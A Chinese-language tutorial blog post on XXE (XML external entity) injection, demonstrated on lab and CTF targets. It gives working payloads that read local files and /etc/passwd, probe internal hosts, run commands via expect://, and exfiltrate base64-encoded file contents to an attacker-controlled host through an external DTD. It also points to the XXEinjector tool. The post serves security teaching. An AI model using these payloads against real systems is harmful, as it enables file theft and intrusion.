WEB漏洞原理之---【XMLXXE利用检测绕过】

文章目录

    • 1、概述
      • 1.1、XML概念
      • 1.2、XML与HTML的主要差异
      • 1.3、XML代码示例
    • 2、靶场演示
      • 2.1、Pikachu靶场--XML数据传输测试
        • 玩法-1-读取文件
        • 玩法-2-内网探针或攻击内网应用(触发漏洞地址)
        • 玩法-3-RCE
        • 引入外部实体DTD
        • 无回显-读取文件
          • 开启phpstudy--apache日志
    • 3、XXE绕过
    • 4、XXE检测
      • 4.1、xxe-lab靶场
      • 4.2、CTF-Jarvis-OJ-Web-XXE
      • 4.3、Vulnhub/XXE Lab: 1
    • 5、XXEinjection工具
    • 6、XXE安全防御

1、概述

1.1、XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

XXE是XML的一个漏洞


XXE产生根本原因:网站接受XML数据,没有对xml进行过滤


1.2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在**显示信息,而XML旨在传输信息**。

1.3、XML代码示例

<!--文档类型定义-->
<!DOCTYPE note [	<!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>			<!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>		<!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>		<!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>		<!--定义body元素为"#PCDATA"类型-->
]]]><!--文档元素-->
<note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body>
</note>

2、靶场演示

2.1、Pikachu靶场–XML数据传输测试

image-20230914200459665

-回显,玩法,协议,引入

image-20230914195827083

image-20230914200609514

玩法-1-读取文件

前提:读取的文件必须存在

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C:/tmp/1.txt">
]>
<x>&xxe;</x>

image-20230914200744610

玩法-2-内网探针或攻击内网应用(触发漏洞地址)

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.8.3/1.php">
]>
<x>&rabbit;</x>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放

如果访问的文件不存在,会显示如下图的信息

image-20230914201117180

玩法-3-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

id是对于的执行的命令。实战情况比较难碰到

引入外部实体DTD

<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">%file;
]>
<x>&send;</x>

把核心 代码写入evil2.dtd内容如下:

<!ENTITY send SYSTEM "file:///C:/tmp/1.txt">

image-20230914202446789

条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施

image-20230914202506375

无回显-读取文件

先把靶场的回显代码注释掉

image-20230914204451864

<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/tmp/1.txt"><!ENTITY % dtd SYSTEM "http://192.168.8.3:80/test.dtd">%dtd;%send;
]>#读取C:/tmp/1.txt里的内容复制给 file
#然后去请求test.dtd
  • test.dtd:
<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.8.3:80/?data=%file;'>"
>
%payload;#去访问?data=上面读到的数据
开启phpstudy–apache日志

image-20230914204048719

image-20230914204207341

重启phpstudy,就有了一个access.log

image-20230914204301315

然后攻击,无回显,查看日志

image-20230914204659302

解码网站:https://www.bejson.com/enc/base64/

image-20230914204803786

3、XXE绕过

CTF XXE

4、XXE检测

4.1、xxe-lab靶场

xxe-lab靶场登录框xml数据传输测试–检查发现

靶场地址:https://github.com/c0ny1/xxe-lab

image-20230914205749442

image-20230914210810316

请求头中如下:Content-Type: application/xml;或者Content-Type: text/xml;

Payload:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/tmp/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20230914211108235

4.2、CTF-Jarvis-OJ-Web-XXE

XXE安全真题复现–修改数据请求格式

地址:http://web.jarvisoj.com:9882/

image-20230914212537086

点击Go!BurpSuite拦截

数据包为json格式

image-20230914212613373

修改Content-Type

提交Payload

<?xml version="1.0"?>
<!DOCTYPE  ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>

image-20230914212918002

4.3、Vulnhub/XXE Lab: 1

靶场地址:XXE Lab: 1

下载地址:Download (Mirror)

image-20230914214744412

5、XXEinjection工具

XXE安全漏洞自动化注射脚本 工具

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行

工具地址:

  • https://github.com/enjoiz/XXEinjector
  • https://github.com/enjoiz/XXEinjector/archive/master.zip

工具使用:

  • https://www.cnblogs.com/bmjoker/p/9614990.html
git clone https://github.com/enjoiz/XXEinjector.git

image-20230914215810231

6、XXE安全防御

php java python 过滤及禁用

image-20230914220424275

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/108908.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Furion api npm web vue混合开发

Furion api npm web vue混合开发 Furion-api项目获取swagger.json文件复制json制作ts包删除非.ts文件上传到npm获取npm包引用 Furion-api项目获取swagger.json文件 使用所有接口合并的配置文件 复制json制作ts包 https://editor.swagger.io 得到 typescript-axios-clien…

2023-09-14 LeetCode每日一题(可以攻击国王的皇后)

2023-09-14每日一题 一、题目编号 1222. 可以攻击国王的皇后二、题目链接 点击跳转到题目位置 三、题目描述 在一个 8x8 的棋盘上&#xff0c;放置着若干「黑皇后」和一个「白国王」。 给定一个由整数坐标组成的数组 queens &#xff0c;表示黑皇后的位置&#xff1b;以及…

最新ChatGPT网站源码+支持GPT4.0+支持Midjourney绘画+支持国内全AI模型

一、智能创作系统 SparkAi创作系统是基于国外很火的ChatGPT进行开发的Ai智能问答系统。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作ChatGPT&#xff1f;小编这里写一个详细图文教程吧&…

计算机专业毕业设计项目推荐02-个人医疗系统(Java+原生Js+Mysql)

个人医疗系统&#xff08;Java原生JsMysql&#xff09; **介绍****系统总体开发情况-功能模块****各部分模块实现** 介绍 本系列(后期可能博主会统一为专栏)博文献给即将毕业的计算机专业同学们,因为博主自身本科和硕士也是科班出生,所以也比较了解计算机专业的毕业设计流程以…

常用排序算法

一、插入排序1、直接插入排序2、折半插入排序3、希尔排序 二、交换排序1、冒泡排序2、快速排序 三、选择排序1、简单选择排序2、堆排序&#xff08;1&#xff09;调整堆&#xff08;2&#xff09;创建堆 四、归并排序五、基数排序六、各种排序方法的比较 将一组杂乱无章的数据按…

Unity 性能优化Shader分析处理函数:ShaderUtil.GetShaderGlobalKeywords用法

Unity 性能优化Shader分析处理函数&#xff1a;ShaderUtil.GetShaderGlobalKeywords用法 点击封面跳转下载页面 简介 Unity 性能优化Shader分析处理函数&#xff1a;ShaderUtil.GetShaderGlobalKeywords用法 在Unity开发中&#xff0c;性能优化是一个非常重要的方面。一个常见…

华为星闪联盟:引领无线通信技术创新的先锋

星闪&#xff08;NearLink&#xff09;&#xff0c;是由华为倡导并发起的新一代无线短距通信技术&#xff0c;它从零到一全新设计&#xff0c;是为了满足万物互联时代个性化、多样化的极致、创新体验需求而诞生的。这项技术汇聚了中国300多家头部企业和机构的集体智慧&#xff…

SSM SpringBoot vue快递柜管理系统

SSM SpringBoot vue快递柜管理系统 系统功能 登录 注册 个人中心 快递员管理 用户信息管理 用户寄件管理 配送信息管理 寄存信息管理 开发环境和技术 开发语言&#xff1a;Java 使用框架: SSM(Spring SpringMVC Mybaits)或SpringBoot 前端: vue 数据库&#xff1a;Mys…

使用Spring Gateway为对象存储系统MinIo和kkFileView文档预览增加登录验证

文章目录 1、kkfileview下载部署1.1、安装包部署运行1.1.1、物理机或虚拟机上运行1.1.2、Docker容器环境环境运行 1.2、接入说明 2、使用Spring Gateway增加登录认证2.1、网关实现代码2.2、文件服务实现代码2.3、Demo运行效果 官网介绍&#xff1a;kkFileView为文件文档在线预览…

什么是产品架构图?如何绘制产品架构图?

作为一种图形化工具&#xff0c;产品架构图能够以直观的方式展示产品的组成、模块、交互和关系。通过产品架构图&#xff0c;团队成员可以更清晰地了解产品的整体设计&#xff0c;从而更好地协作、沟通和优化。本文将深入探讨产品架构图的关键作用&#xff0c;以及如何高效地创…

沙丁鱼优化算法(Sardine optimization algorithm,SOA)求解23个函数MATLAB

一、沙丁鱼优化算法 沙丁鱼优化算法(Sardine optimization algorithm,SOA)由Zhang HongGuang等人于2023年提出&#xff0c;该算法模拟沙丁鱼的生存策略&#xff0c;具有搜索能力强&#xff0c;求解精度高等特点。 沙丁鱼主要以浮游生物为食&#xff0c;这些生物包括细菌、腔肠…

建设数字孪生智慧城市是未来城市的重要增长点

中国国家创新与发展战略研究会学术委员会常务副主席、重庆市原市长黄奇帆在《瞭望》撰文指出&#xff1a; AI时代的城市是由实体空间和数字空间组成的数字孪生城市&#xff0c;要充分重视对数字空间的治理。随着城市数字化进程的加快&#xff0c;城市、企业、个人开始形成多样化…